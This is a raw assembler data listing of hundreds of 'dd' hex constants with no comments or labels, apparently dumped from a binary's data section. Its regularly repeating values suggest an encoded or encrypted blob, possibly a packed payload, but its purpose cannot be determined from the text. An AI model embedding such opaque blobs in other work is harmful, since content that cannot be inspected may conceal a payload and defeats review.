		dd 17F6A63Dh, 78F1132h,	54668832h, 36DAABE4h, 4C9BDD61h
		dd 20B9FE3Dh, 6373ACD9h, 9E0024F2h, 0C5D92DEAh,	0BAE32A53h
		dd 1A6C62C0h, 156624B7h, 8D44232h, 75070786h, 15669ADAh
		dd 10DA3D32h, 0F477116Ah, 978A5472h, 2DA71CD6h,	1A286552h
		dd 156622B5h, 0CAE74A32h, 76004A3Fh, 0DCE3CF53h, 1A6CC136h
		dd 156602B4h, 15686132h, 0DA54432h, 12D7F1C4h, 6601DEA9h
		dd 179D513Dh, 0EA99FF61h, 0CA4FDDCDh, 13EE1E69h, 75668832h
		dd 74069AB9h, 0AAE31953h, 1A6CFBC0h, 1566DAB7h,	156EAD32h
		dd 2E732232h, 0B50E17B2h, 4406E52Ah, 0C3A0C554h, 0AA697B8Ah
		dd 90ED70CBh, 1F859FB7h, 156650DBh, 0F89C8F32h,	882DD74Dh
		dd 8F828015h, 64959F01h, 0BA027F6Ch, 62DE41B7h,	0D46BF514h
		dd 202646D2h, 0DF6D4410h, 0ED3ED61Bh, 1567013Dh, 2E934432h
		dd 0FF9491B7h, 46E31E38h, 1A668832h, 156645B6h,	7306DB32h
		dd 93DFEBB9h, 7429021Dh, 38A7C1B9h, 1A0628D1h, 156614B5h
		dd 0D01E3632h, 0EDEC545Ah, 1EDF7353h, 94501019h, 85DFFFBh
		dd 94B7B309h, 0F7A2A3DBh, 4CA938F2h, 15760B3Dh,	1E8F4432h
		dd 5A662232h, 0E700D008h, 8C9B3749h, 905D3C52h,	1F8CD0F1h
		dd 155E943Dh, 9E938832h, 0F67941B7h, 1CE02D38h,	75661132h
		dd 4F483254h, 74AECF54h, 0EA999860h, 0C24FEECDh, 15726168h
		dd 62394432h, 36F6CA8Fh, 759931F5h, 7DB7F79Ch, 1F5632F7h
		dd 905D298Ch, 1F8CE3F5h, 155F0D3Dh, 44064432h, 4AA7A954h
		dd 7494AE3Dh, 13EB0DB9h, 479A4ED1h, 570C0088h, 0B5A4907Bh
		dd 946A170Ah, 0B3B79F0h, 4FB10B98h, 10ED1E52h, 73668832h
		dd 802896B3h, 0FC083B8Ah, 2E9E7024h, 0FF943FB7h, 4AE34B38h
		dd 0E0662232h, 15661ADBh, 220AFA32h, 22307269h,	5E478527h
		dd 39DB94B9h, 430682D1h, 156650DBh, 9E792932h, 0D1FB471Eh
		dd 0D57FB767h, 24E523ADh, 6817B2D4h, 9C694B2Bh,	15668830h
		dd 45072552h, 1566238Ah, 4DA11032h, 56CB3352h, 0FC077CB2h
		dd 1566223Ch, 2C4BE7A8h, 0F1E0BEB9h, 8A88DF3Ah,	905D8377h
		dd 1F8CE389h, 152E0D3Dh, 91694432h, 15662233h, 28E39ACAh
		dd 756C6B22h, 0F5CBB2B3h, 94693B61h, 15661130h,	7507D360h
		dd 1569AD52h, 0E5D62232h, 7381E403h, 453E04BAh,	2919A759h
		dd 9E0043D2h, 0AC3770E2h, 0EA9977CDh, 1A3F8B1Bh, 156623BFh
		dd 0A8E5ED32h, 1F85AD2Bh, 40E24B32h, 1A662238h,	15661AB3h
		dd 15606132h, 740F4432h, 4CA9EF6Ch, 156F913Dh, 95068832h
		dd 0AA00CEF6h, 2E07890Bh, 0FF9456B7h, 28E38738h, 75664432h
		dd 1A96953Dh, 9E07E28Dh, 0F66351B7h, 739A2438h,	74DB488Ah
		dd 7B23AA61h, 0E6E7F364h, 731211B4h, 3C00E1B3h,	0D6E71B4Fh
		dd 13D9D037h, 0A84BAFB3h, 0CA670C6Ch, 479A7169h, 743EE952h
		dd 0E7BDC109h, 906928D8h, 1566116Bh, 90ED7DCAh,	1F8543BBh
		dd 1567A13Dh, 409F1132h, 0C34C758Fh, 50B3B374h,	3F9AD7B3h
		dd 0FA4F57E4h, 1577616Fh, 0A1E54432h, 962E2968h, 3D208A12h
		dd 6292253Bh, 1A19020Ah, 15663EBEh, 3E61E32h, 0FC668832h
		dd 15664423h, 0B579D8B5h, 7D884B1Bh, 9B37E7EAh,	9F345560h
		dd 5EE31925h, 1A6CFBC0h, 1566ECB7h, 0CEB4B32h, 1A662232h
		dd 156602B6h, 15686132h, 0D8BF4432h, 0F9A3BCA2h, 8DDA0730h
		dd 34777BC9h, 0E47C1B9h, 128F28D1h, 0F661132h, 66290D60h
		dd 90690EE5h, 15662224h, 156BF952h, 3CCC8832h, 631DCFBEh
		dd 829A28ECh, 4DA6C476h, 0DA57E9CBh, 0DA57BD03h, 75A9A573h
		dd 15609B3Dh, 0C4E78832h, 132735F0h, 5AE31953h,	1A6CFBC0h
		dd 1566B6B7h, 90EDBC32h, 1F850B83h, 15679E3Dh, 479A8832h
		dd 15664588h, 4FB12332h, 156602DBh, 314AA932h, 0DC2D76F6h
		dd 0AF78BF72h, 42D388AAh, 0F009C42Ch, 16EB4B52h, 95662232h
		dd 0AC00BBE0h, 2E074B86h, 0FF9417B7h, 23E32D38h, 75661132h
		dd 4B8267B3h, 9469236Ch, 15662234h, 0E656FEB3h,	9E07807Fh
		dd 0F654FDB7h, 0AD36DE38h, 15661133h, 0FC3E4F33h, 1566443Fh
		dd 8A479120h, 8E5B4BACh, 0EC2EB9BFh, 42E37F90h,	1A6CC8C0h
		dd 156667B7h, 1EE18732h, 75664432h, 7271EC8Bh, 0FFD97726h
		dd 1A8FE9D8h, 0D664432h, 0DC94DE45h, 9D30E0CBh,	0BBBA8F2Eh
		dd 0A8E543F1h, 1F85221Bh, 51E31E32h, 0ED668832h, 340FC1B9h
		dd 976928D1h, 1566113Dh, 128F7452h, 0B4664432h,	21F24BC8h
		dd 43072458h, 0EA99778Ch, 4B916DCDh, 157FAB3Dh,	18F1132h
		dd 2D668832h, 261AC39Ch, 0C0DF5EA7h, 0EAE00251h, 99186244h
		dd 2E266D44h, 0FF9479B7h, 4CE31E38h, 75668832h,	1577AD62h
		dd 77792232h, 2DEB1183h, 8AF0E1EEh, 0F692FDCFh,	4DEF5864h
		dd 15661EDAh, 95CFBF32h
		dd 0B7377F96h, 0F97B7B79h, 55822F88h, 743DA781h, 3B4BC1B9h
		dd 128F28D1h, 6A661132h, 65661657h, 0CAE10E0Dh,	24B91371h
		dd 0FCB920C9h, 1566883Ah, 0F2EF854h, 0EA786A12h, 0E7399409h
		dd 906982D8h, 15664470h, 3CDBA1C7h, 156CF232h, 15520D3Dh
		dd 9B694432h, 15662225h, 15779D3Dh, 198F8832h, 0B4664432h
		dd 97FBBEB7h, 59C92459h, 9E9B3B9Ch, 0F645D9B7h,	14E42D38h
		dd 0ED661132h, 0EA993664h, 0E24FBBCDh, 905DDA6Ch, 1F8CE351h
		dd 155F0D3Dh, 1F8F4432h, 0D7662232h, 3FC0D178h,	15C3866Ah
		dd 90EDB843h, 1F85384Bh, 15759C3Dh, 1B8F8832h, 0E5664432h
		dd 104CC7B2h, 0A62D7DD4h, 4BD4DBBAh, 14DF15EAh,	14662232h
		dd 2E9A48FDh, 0FF94EFB7h, 0DE34B38h, 1A662232h,	156610BDh
		dd 90ED7432h, 1F855D93h, 0EADE72CAh, 3C99EECDh,	2E9FD0F5h
		dd 0FF942BB7h, 5DE32D38h, 0E9661132h, 154F35B1h, 1A664ED1h
		dd 156618B7h, 14E91E32h, 0ED668832h, 3D83C1B9h,	946928D1h
		dd 15661138h, 5D850852h, 0BE70E38Ch, 0AC374319h, 0EA99EECDh
		dd 0FC3F471Bh, 1566443Dh, 3E87080Bh, 0FD4572D7h, 382DBEB4h
		dd 2E32554Eh, 0FF9449B7h, 4EE31E38h, 75668832h,	0D600F18Ah
		dd 7F319B08h, 1A071BFEh, 156689B7h, 0A8E5BD32h,	1F85221Bh
		dd 2EE31E32h, 1A668832h, 15664FB3h, 1560CB32h, 0F3EF1132h
		dd 442110CAh, 0FB7C1B9h, 1A0628D1h, 156613B4h, 743CD832h
		dd 1567FF61h, 0CA672232h, 156AF869h, 95338832h,	0FEA28FA2h
		dd 89F90D07h, 905D058Dh, 1F8C7A41h, 1543C13Dh, 73062232h
		dd 73BA908Bh, 9E0758B9h, 0F649D9B7h, 0DAE1D738h, 9267D0B1h
		dd 156F61FDh, 34104432h, 11C7B636h, 2E13C626h, 0FF94FFB7h
		dd 2FE34B38h, 1A662232h, 156605B2h, 15696132h, 85EE4432h
		dd 60688AB1h, 437D7F8Fh, 989BEB0h, 0E8E3CF8Eh, 0E06CC128h
		dd 0EA99AF64h, 0E24F77CDh, 1FED4B6Ch, 0FC662232h, 15661137h
		dd 0F1C64C90h, 6EE37F80h, 1A6CC8C0h, 156629B7h,	156B6132h
		dd 0A4064432h, 0AC8C4184h, 48E833C9h, 9E1CA966h, 0F674B5B7h
		dd 0AD36DB38h, 15661133h, 0FC3E4F33h, 15664423h, 0C8AAC041h
		dd 5D81B699h, 43DDDCEDh, 42E455D0h, 6AE319A7h, 1A6CFBC0h
		dd 1566B9B7h, 19E14B32h, 0FC662232h, 15661135h,	47408E14h
		dd 9E32660Bh, 0F66243B7h, 479FED38h, 15668988h,	4FB14532h
		dd 156EA93Dh, 93691132h, 15668830h, 905D2552h, 1F8CD0B1h
		dd 155E943Dh, 9A698832h, 1566443Dh, 156628DBh, 0FF02C332h
		dd 8E772526h, 9E691C53h, 0F64A4BB7h, 14E11E38h,	0ED668832h
		dd 1567FF61h, 0CA672232h, 9F69ED69h, 15668834h,	433D1452h
		dd 905D436Bh, 1F8CE3B5h, 155A0D3Dh, 9E9A4432h, 0F64FABB7h
		dd 1577F838h, 3DD18832h, 0D7BBA9B2h, 28CC46A0h,	0A509A019h
		dd 45D1B66Dh, 0EA99BB8Ah, 4DA10BCDh, 156600DBh,	5AAD0132h
		dd 0D703FFEBh, 3179BCF8h, 0B1EC503Bh, 905D69B7h, 1F8CB6B9h
		dd 151EA73Dh, 9B691132h, 15668825h, 1576AD52h, 2B0A2232h
		dd 1681D994h, 34C051F2h, 5257B626h, 9E070BD2h, 0F67668B7h
		dd 15686138h, 92224432h, 0E1188010h, 5A2BD83Ch,	452D5319h
		dd 156643DBh, 0BC07B832h, 0BE4417A8h, 7D573062h, 0C5912127h
		dd 704BFAC5h, 10472241h, 16F3BE5Ch, 0BA468A3Fh,	3E981720h
		dd 0D26746CDh, 1576616Ah, 70C64432h, 0D3856Bh, 8FE8B86Fh
		dd 26C9EA17h, 905D79ECh, 1F8CD0BDh, 1547943Dh, 9E9F8832h
		dd 0F67F85B7h, 1FE02D38h, 0FC661132h, 15668837h, 362EEFA2h
		dd 0EADD71CDh, 3C99EECDh, 2E9ED3EDh, 0F67CA1B7h, 27E32D38h
		dd 75661132h, 93BE0954h, 74ACCFB1h, 249FA7B9h, 95691BD1h
		dd 15668833h, 0A26924C7h, 0CDED44F5h, 94A99653h, 0EA9977DBh
		dd 75A9C3CDh, 73ACA954h, 0AAA2DAB3h, 86E3B353h,	1A6CAEC0h
		dd 156678B7h, 156FF832h, 36FC8832h, 0C410C0E3h,	75C43B33h
		dd 1564933Dh, 4B358832h, 1560CF3Dh, 97692232h, 15661132h
		dd 10E30353h, 756CA72Bh, 156631DBh, 95E42132h, 4C6A0175h
		dd 95C0C2EAh, 5ADDF9C9h, 1A1AB27Bh, 0ED0751B9h,	0EA99FC62h
		dd 0D24FDDCDh, 1563F86Ah, 0E2458832h, 2EF007DCh, 0FF94EDB7h
		dd 0A2E31E38h, 1A668832h, 15665CB1h, 1575CB32h,	2B611132h
		dd 405F779Dh, 2024B0E0h, 0AD397842h, 4454EBE2h,	0C2DB0B69h
		dd 156CAEC0h, 152DA73Dh, 97691132h, 1566882Fh, 1571CD3Dh
		dd 78F2232h, 7F661132h,	0CB4F74D6h, 0A768CB69h,	0E2116B79h
		dd 5CE93D00h, 68DB0BD1h, 156CA71Bh, 153AA63Dh, 90691132h
		dd 15668833h, 1569ADCEh, 0E0F62232h, 0B5ADDDC2h, 74A5B817h
		dd 0F3FB5CC2h, 0BCE3A906h, 0FC6CF229h, 15668839h, 8433DAD2h
		dd 5F77CEFh, 477D10F1h,	15668988h, 4FB14532h, 1563AF3Dh
		dd 9E061132h, 1A0770CCh, 156655BBh, 156ACB32h, 3A1B1132h
		dd 84D87825h, 8F9C2CC2h, 905D565Bh, 1F8CE3E1h, 15EB0D3Dh
		dd 1C8F4432h, 51662232h, 3EA33662h, 6E91EABh, 0E7B1F9B1h
		dd 1A6628D8h, 156629B7h, 1C8FE832h, 2B664432h, 209EDBFCh
		dd 95F001ACh, 96076FB8h, 0F64F398Fh, 91692238h,	15661161h
		dd 15669CDBh, 5B687732h, 0D021DEE8h, 979963B9h,	0DBB04637h
		dd 9511E813h, 9CE3A950h, 0FC6CF228h, 1566883Ah,	95D35CAAh
		dd 0B8553602h, 5CA3AC67h, 0E0E795FFh, 8AB0DF6h,	1A3BCD33h
		dd 156610BDh, 198F7032h, 6F664432h, 46BA1892h, 9B853D54h
		dd 2E5E75DEh, 0FF94D3B7h, 51E32D38h, 0EC661132h, 156B013Dh
		dd 1D8F4432h, 52662232h, 0A183F310h, 9EF159A6h,	0F65795B7h
		dd 0FDDF4238h, 0A4554E51h, 1F8FE989h, 0EC664432h, 91BA4707h
		dd 7772C021h, 0EADFD9BAh, 3C99BBCDh, 0AA067BFDh, 6C9934ABh
		dd 2E077BB9h, 0FF94DFB7h, 5BE32D38h, 75661132h,	156699DAh
		dd 0BAD3A532h, 6EE8DAFEh, 0DF759619h, 396C2677h, 0C5EDF175h
		dd 7406426Dh, 90ED7053h, 1F859DFBh, 74B7CE52h, 7B49852h
		dd 240740E6h, 249DB9EDh, 0CAE107EDh, 156632DBh,	0C353B132h
		dd 0CFDA3089h, 4AFA7B80h, 0FFF1D0B8h, 8AE32A37h, 1A6C62C0h
		dd 15660DB7h, 9169DE32h, 15661136h, 745E3952h, 148BC1B9h
		dd 976928D1h, 1566111Ah, 15686152h, 29574432h, 0A5E617E0h
		dd 3D70C7F4h, 57F04ACBh, 15664ADBh, 74AD3932h, 89660B1Ah
		dd 8BFD907Ch, 74539C4Ch, 15679A62h, 0D2671132h,	905D746Ah
		dd 1F8CB691h, 1549A73Dh, 68F1132h, 0B2668832h, 2664A732h
		dd 48832771h, 0FADB6D4Bh, 936F6BAFh, 90ED3FB7h,	1F85372Bh
		dd 14DD42CBh, 14668832h, 90691FEDh, 15662233h, 0B2E32AC7h
		dd 1A6C62C0h, 15661BB7h, 12EC2D32h, 75661132h, 759D3F3Dh
		dd 90ED2553h, 1F850287h, 156605DBh, 4162E932h, 0D0CE047Ch
		dd 86827D84h, 0D26F7375h, 31E6A184h, 77DE14FAh,	0E259062Eh
		dd 90424E2h, 0D24FB716h, 8E34B6Ah, 1A662232h, 156606B3h
		dd 15746132h, 0C1DF4432h, 86B6C54Dh, 0DDC72181h, 0CF1BFAAh
		dd 147B68DAh, 0E7CDA709h, 90691BD8h, 1566887Eh,	90EDBDC7h
		dd 1F8527EBh, 157F913Dh, 18F8832h, 8A664432h, 24339C7Eh
		dd 6AA62812h, 8F3FA601h, 0C43A0EA4h, 46DCD53Dh,	0EA99EE89h
		dd 4EB9A1CDh, 1570C63Dh, 91692232h, 15661122h, 156683DBh
		dd 917ED532h, 0D14794FDh, 0DB8F83EBh, 91697739h, 1566441Eh
		dd 156AAA3Dh, 97691132h, 15668834h, 1566C63Dh, 91692232h
		dd 15661135h, 1567063Dh
		dd 0FC9A4432h, 0EA99CE4Eh, 15679D3Dh, 0ED9F8832h, 331FC109h
		dd 906928D1h, 1566110Bh, 15670A3Dh, 989F4432h, 0FF249EB7h
		dd 18E51E38h, 75668832h, 1517C88Ch, 0A791A33Ch,	7429E2D9h
		dd 0EA8ACBDBh, 1BEE4BCDh, 0FC662232h, 1566113Bh, 8B163143h
		dd 0FACCEA17h, 68E31932h, 1A6CF212h, 1566E9B7h,	156AAD32h
		dd 343F2232h, 80EA2277h, 858407CDh, 0A8E530CFh,	1F8CD3C5h
		dd 56E31E33h, 0EC668832h, 156656DBh, 0BC64D332h, 0FECDB097h
		dd 0B9C531B0h, 932E7C6Bh, 984ACCA4h, 4C6D76B7h,	3E18732h
		dd 0FC664432h, 15662223h, 81658AB9h, 0EE3CCCE4h, 5F7B07h
		dd 0ED949Bh, 0FEA0F861h, 9E0677CDh, 905D25C9h, 1F8CD035h
		dd 1547953Dh, 9A698832h, 15664433h, 1EE319CEh, 1A6CFBC0h
		dd 156693B7h, 1DE84B32h, 1A662232h, 156613B6h, 0FC07E832h
		dd 0EA99AFA2h, 0E8D47052h, 74E7A06Bh, 35A3260h,	0CF910B9Eh
		dd 6ABDC0B3h, 0DFE75E70h, 2AE38A75h, 815FFC62h,	0D767E20Ah
		dd 4FB0986Ah, 0AE00E852h, 740678ACh, 9607D753h,	906910CCh
		dd 156688FCh, 1567C73Dh, 2E9E2232h, 0FF97EAB7h,	50E38738h
		dd 0FC664432h, 15662238h, 4F72980Dh, 6F7AA559h,	90EB7BC5h
		dd 153EA5F6h, 94007152h, 9EDF2CD2h, 443625CAh, 0FC07786Ch
		dd 0EA99FA2Ah, 15700A3Dh, 48F4432h, 0A4662232h,	403BB818h
		dd 56E5116Ch, 41B431E7h, 73B8983Eh, 0E4999409h,	906982D8h
		dd 15664402h, 17EF2D52h, 75661132h, 0DC870853h,	2FE3C953h
		dd 0FC667ABAh, 1566113Fh, 0F47D27A8h, 0CDBABD18h, 77F5B301h
		dd 0FFA0F8AFh, 9E0677CDh, 74BECFFAh, 0E765A709h, 90691BD8h
		dd 1566881Ch, 156655DBh, 4CDAAF32h, 8C17659Ah, 6D28341Eh
		dd 532C84CCh, 90EBE2CBh, 153E994Dh, 0FFF461CAh,	7306BBCDh
		dd 140CD4B3h, 2F7DC98Ah, 4533E97Fh, 488ECD6Fh, 0DBED42CEh
		dd 0F784298Dh, 370EE949h, 9C66444Bh, 0D30E061Eh, 48382D63h
		dd 49A16DB3h, 0E0E71FD9h, 1A746269h, 5F9E4B3h, 0FBEFDD08h
		dd 19E74B6Fh, 1A662232h, 156617BAh, 15E58732h, 1E664432h
		dd 8E32DC4h, 1A661132h,	156689B3h, 1B8FBD32h, 7599DDD8h
		dd 779DF9B3h, 1A069FA7h, 156644B0h, 7407D732h, 1562FDB3h
		dd 11EF8832h, 314AC516h, 7ABD2A19h, 3EA0906Ch, 0E909533Ah
		dd 0DAE72252h, 0C8E66C29h, 0A0EF70AFh, 1F859CEBh, 0EA98FD52h
		dd 9D6913CAh, 1566112Ah, 15669BDBh, 0E34FE032h,	210DE180h
		dd 49B4DC01h, 0E7E4F2EBh, 76DE6C2Dh, 0CD3AB53h,	756CF21Eh
		dd 1A9E373Dh, 9507B685h, 9069CB0Ch, 156611EDh, 156686DBh
		dd 0B2B95532h, 3A1F4CD9h, 8B8E5A61h, 0EA7D991Fh, 29ED4544h
		dd 11A2A116h, 0C6D91E52h, 15730B3Dh, 1A8E4432h,	8B662232h
		dd 0CCCCB90Dh, 69CE997Ah, 5DA17FF0h, 743DC28Dh,	587FD6B3h
		dd 0D2E7D823h, 41225B65h, 0FAE7D533h, 41220E65h, 587F67B3h
		dd 439F1423h, 0D3420EB3h, 9E6D876Fh, 0D1E5AC2Eh, 0D3A5C536h
		dd 0E06DB46Fh, 1574963Dh, 188F8832h, 8C664432h,	0A1519DC7h
		dd 0C0831C8Ch, 0FABDB735h, 11DB1164h, 0D456305Fh, 0D42B14D7h
		dd 0E0E78ED7h, 860E1BF2h, 143BCCBBh, 9F694FC1h,	15668833h
		dd 0CCDB7FC7h, 1A6CC126h, 156603B0h, 0DBEDE832h, 31D74E8Ch
		dd 0EE5D4358h, 157B973Dh, 0FC938832h, 0EA99ACE3h, 5FD94452h
		dd 0A4DE77EEh, 9B69E93Ch, 15664435h, 1567AE3Dh,	9E9E1132h
		dd 0F667698Fh, 14E34B38h, 0ED662232h, 204394F5h, 156682D1h
		dd 1A9E4432h, 156630B0h, 19E91E32h, 0FC668832h,	15664435h
		dd 0A8E39AE8h, 75966C4Ch, 0DE48752h, 0FC664432h, 15662221h
		dd 49A7C197h, 2704AE24h, 0B227D85Bh, 18E8709Fh,	0FC557287h
		dd 15668820h, 7E31FC5Eh, 94B8CD5Ah, 5E831208h, 430779D8h
		dd 9C07F24Ah, 0F64A3B87h, 19E51E38h, 1A668832h,	156642BFh
		dd 15E22D32h, 98661132h, 0FE125EAFh, 0C699B138h, 13E02D52h
		dd 1A661132h, 156688B5h, 1E07BC32h, 51E22DF2h, 0FC661132h
		dd 15668826h, 0ABE60772h, 0DE4A2C93h, 3C9F40F2h, 7CA31583h
		dd 53E63F5Fh, 15668DDBh, 1A8F7132h, 0F668832h, 0BBD74C78h
		dd 0BD81658Ch, 0AE3A4550h, 128E96ACh, 0B1664432h, 79BD4C4Fh
		dd 0FEE63BDCh, 9807D7D6h, 0FDCEAAAFh, 7E12D38h,	0FC661132h
		dd 1566883Fh, 569AB239h, 4658C1AEh, 0BF56C7DAh,	0C6997D43h
		dd 0EA3BC73Dh, 9569DDCDh, 15661133h, 0CD303CAh,	1A6CA71Eh
		dd 156623B3h, 0A0EFE932h, 1F85BD17h, 154DCA3Dh,	0FC062232h
		dd 15661139h, 1A099E35h, 4B8DF397h, 0FC7B2DE5h,	15661126h
		dd 4A0F8F6Dh, 2BB698C3h, 51DA2090h, 92C19AEAh, 0AFA6069Dh
		dd 0DDFBC953h, 0E06CCBE1h, 9D69C2CDh, 1566883Ah, 1564CC3Dh
		dd 74062232h, 1BF94B9h,	946982D1h, 15664433h, 0CE3ABC7h
		dd 756CF21Eh, 15606152h, 0AAC74432h, 0C6B77A31h, 156602DAh
		dd 1489D932h, 638390BDh, 44EDC22h, 5351E0BAh, 6A5A043Eh
		dd 75342569h, 74077A53h, 15709F3Dh, 48F8832h, 0F664432h
		dd 60E90AAEh, 0BD145BB6h, 8F10E7F5h, 0B921298Fh, 1A8E1CB2h
		dd 1566BDB7h, 156B6132h, 0B1A74432h, 1371A758h,	72DBD5F7h
		dd 965D7CC3h, 0F640F98Fh, 91692238h, 156611BFh,	15776152h
		dd 5CE34432h, 960253CBh, 0CF0F096Eh, 0E2B091EFh, 739A69F9h
		dd 4607F2B9h, 0A3340285h, 4F9600C8h, 0FC3DBC02h, 1566223Ah
		dd 66E0DE66h, 0A0CA774Eh, 0F9ECBD52h, 7D9F8853h, 15662D35h
		dd 9C4284BBh, 4CAECDC3h, 7ADC70C7h, 943F4E3Bh, 73390BC0h
		dd 4FB6453Fh, 0F94BDA1Bh, 0E0322864h, 15623765h, 684B4432h
		dd 3C7A9803h, 241B14CAh, 75399488h, 0F3B6C554h,	1ACD4383h
		dd 156617BAh, 8BD6E832h, 0FC072552h, 15662036h,	1AFB9CCAh
		dd 756C6369h, 0EA07A1B8h, 156BCBE1h, 0D9951132h, 0E88579CEh
		dd 61FDBA67h, 98F59628h, 0FE092CAFh, 0C6997438h, 156AC63Dh
		dd 9A692232h, 15661134h, 15660F3Dh, 0D56D4432h,	1543A73Dh
		dd 9A691132h, 1566883Bh, 9669B152h, 15662232h, 154DF853h
		dd 198F8832h, 73664432h, 0FDAD367Ah, 6DC20E2Ch,	96A5CEF6h
		dd 0F64A5DB7h, 0FC9A2738h, 0EA99EFEAh, 156680DBh, 35CD0C32h
		dd 8F576D81h, 0EAFB9C4Ch, 0FC6C6343h, 1566443Dh, 0E6DCB946h
		dd 64A63A94h, 640DE63Fh, 0E03E5274h, 0FC9EF1CDh, 15661123h
		dd 9E3410CFh, 7E1BFFA3h, 254C6CACh, 3ED174ACh, 1AA68351h
		dd 156669B7h, 0D2DC4232h, 734C9CF7h, 473A6BB3h,	156AAD53h
		dd 241E2232h, 491169FFh, 36AFE4BEh, 378F40FCh, 0FC662232h
		dd 15661134h, 9BB50DDCh, 920E692Eh, 9C66225Bh, 11DE3536h
		dd 14668832h, 0FC9E1CF0h, 15662336h, 0FBFB9CCAh, 0E06C609Ah
		dd 156CC93Dh, 0A1062232h, 15EF1E98h, 74668832h,	966997CDh
		dd 15662225h, 0CD39ACBh, 0EC6C6B1Eh, 154D0CDBh,	1563CB32h
		dd 926E1132h, 9EEFC914h, 0F64A5DBFh, 9E004238h,	74E7A4F3h
		dd 397F3DBBh, 0AF064ED1h, 26F21438h, 0C7DA8788h, 0D4E7E95Dh
		dd 40FE650Eh, 0AA31D31Bh, 40FE300Eh, 7539711Bh,	0E071ABB3h
		dd 0F4E77FF6h, 400017CDh, 1566E053h, 11E74432h,	0DC44D516h
		dd 316A3872h, 0E242A4B3h, 4C268D10h, 1563A33Dh,	73061132h
		dd 940747B9h, 0A95111DCh, 0C488A336h, 3C72A303h, 0C4A009FCh
		dd 9472F603h, 0A95177F4h, 0F2E77136h, 0AB8390Eh, 74AFB7B2h
		dd 0FC9E86C1h, 0EA99ECBAh, 15746052h, 83274432h, 0EECE4435h
		dd 0C191C851h, 27EC171Fh
		dd 0B668EAF3h, 55799A54h, 156DF969h, 8E0A8832h,	63460C00h
		dd 4CCDFD57h, 156AF80Fh, 0E5CF8832h, 6E4F7762h,	599D913Eh
		dd 7439A268h, 0C33115BFh, 0ED064EDBh, 2390A362h, 4D43A593h
		dd 0ECB57753h, 3162CF65h, 1A62E6B1h, 156610B1h,	904D7132h
		dd 1F8545D3h, 20E3ABCAh, 0FC6CF202h, 15668839h,	41EB2039h
		dd 820CECA3h, 9EEB9FE0h, 0F66769B7h, 1577AD38h,	1ADB2232h
		dd 9D0348B1h, 5662DEF7h, 0EF14D896h, 7DBD436Eh,	156637B6h
		dd 0E942B4BBh, 156EC93Dh, 98692232h, 15661130h,	0E10EE952h
		dd 9C664440h, 73060636h, 74710E89h, 0CD8505BFh,	95694EDBh
		dd 15662233h, 0E0B7EECBh, 1A30DB9h, 0E9064ED1h,	7D074083h
		dd 156677A1h, 0FC428CBBh, 15664434h, 0C6E9742Ch, 1A061C4Ah
		dd 749F5B8Dh, 15540E5Ah, 315AAB32h, 18F71CEh, 0B4668832h
		dd 0CDF4EAEFh, 448857ABh, 0E7024B4Dh, 0DB8B6BD3h, 731E10DCh
		dd 25D4E2B3h, 0F4E39A53h, 0ED6C6B33h, 151ECB5Ah, 3162AB32h
		dd 15759E3Dh, 1B8F8832h, 2B664432h, 67F907BBh, 0F072F399h
		dd 0F116B784h, 17EBC970h, 1A6CCBE8h, 156604B2h,	56D5E832h
		dd 156648DBh, 30A57632h, 0FE748103h, 0DEB4CAD9h, 0C499254Ch
		dd 17EF2D52h, 0A4661132h, 59108ECh, 1ED1453h, 11A2A316h
		dd 0ED661132h, 316A0362h, 0EC6280B1h, 0D0EB09CAh, 756CF226h
		dd 700DDF88h, 3EBFC53Ah, 7456F72Fh, 227ACB1h, 1A6682D1h
		dd 1566C8B6h, 90EDDA32h, 1F853F2Bh, 156685DBh, 1A672B32h
		dd 8AA07995h, 180003DFh, 904DF02Fh, 1F855373h, 15662FDBh
		dd 97069232h, 0C6FEACE2h, 2E8B8E1h, 0D45D797Bh,	1535973Dh
		dd 9E9E8832h, 0F65629B7h, 14E72D38h, 0E0661132h, 2270D31h
		dd 98694ED1h, 1566223Ah, 0D2AF9052h, 7458C7F6h,	14E64B52h
		dd 0E9662232h, 74A19A54h, 3EEF0DBBh, 0FC9A4ED1h, 156623E0h
		dd 156605DBh, 0F372FD32h, 0A8FD09EFh, 0D4E51516h, 0AB42AF3Fh
		dd 4A944ACFh, 0F0EF1132h, 1562E7B3h, 0F8E71132h, 15668836h
		dd 494268B5h, 75422EBBh, 0AE865189h, 9F69DE5Fh,	15664432h
		dd 4634436Ch, 0CFEFDABBh, 4FB60169h, 74A0CF52h,	152F9F67h
		dd 0E0E702E3h, 4F16A16Ch, 3C70A9B3h, 0FD4F6B93h, 4030E96Fh
		dd 7C74F98Fh, 168B8544h, 1CC9D7B3h, 0F8A772A2h,	94BB7F36h
		dd 3F7B07DFh, 4888ABCBh, 1A38E13Bh, 156680BBh, 17ED4B32h
		dd 75662232h, 1575F853h, 5B438832h, 5B19E1F5h, 7B2140Bh
		dd 5438DCD5h, 1A646F23h, 14D812ACh, 14662232h, 48F4FC2h
		dd 0A668832h, 0AB8682E0h, 615938B3h, 781A583Ch,	0C2669302h
		dd 3B7FC1BBh, 759F28D1h, 156603DBh, 81E0EE32h, 0B6247B9h
		dd 15CF95F1h, 78A7F267h, 0A709A351h, 906725B9h,	1F853AFBh
		dd 1567933Dh, 0D29E8832h, 0F67105B7h, 15662238h, 0C3E67132h
		dd 8A950905h, 746DB5ECh, 9F066258h, 156BF9D7h, 3D5F8832h
		dd 38C58CB0h, 0D66A8976h, 1A5359EFh, 74385185h,	1576445Ah
		dd 12ED2D32h, 1A661132h, 156689B7h, 2E0EB132h, 9C662212h
		dd 1A8F353Eh, 0FA668832h, 0C26A9B82h, 25EBAA8Fh, 76E47449h
		dd 150C41E4h, 1561C53Dh, 98692232h, 15661133h, 14EF87CAh
		dd 0ED664432h, 1523B7CDh, 98691BD1h, 15668833h,	5ED4BCBh
		dd 0FC662232h, 15661139h, 1ADFEE34h, 32CD197Dh,	0EA741804h
		dd 0F67AB0A7h, 90EF7038h, 1F85745Fh, 9CE3ABCAh,	1A6CF219h
		dd 15668EB9h, 0E2D52432h, 0EA07D5B9h, 963F3506h, 96698CF6h
		dd 15664424h, 156633DBh, 0F3C6A732h, 60209623h,	2D5F2CB7h
		dd 6453CF9Ah, 0A099745Ah, 1F85A3BBh, 50A6C552h,	7345427Dh
		dd 9DB9FEB3h, 0D0D37753h, 0FC6CA726h, 15662235h, 70A3B005h
		dd 7D88585Eh, 156650F5h, 1A421EBBh, 156610B1h, 0A0997432h
		dd 1F8545D3h, 156632DBh, 0BF119732h, 0FAA7DDBCh, 43E6AF83h
		dd 2D41AFBBh, 4EE39C24h, 0FC6C61C1h, 15664435h,	0F2673544h
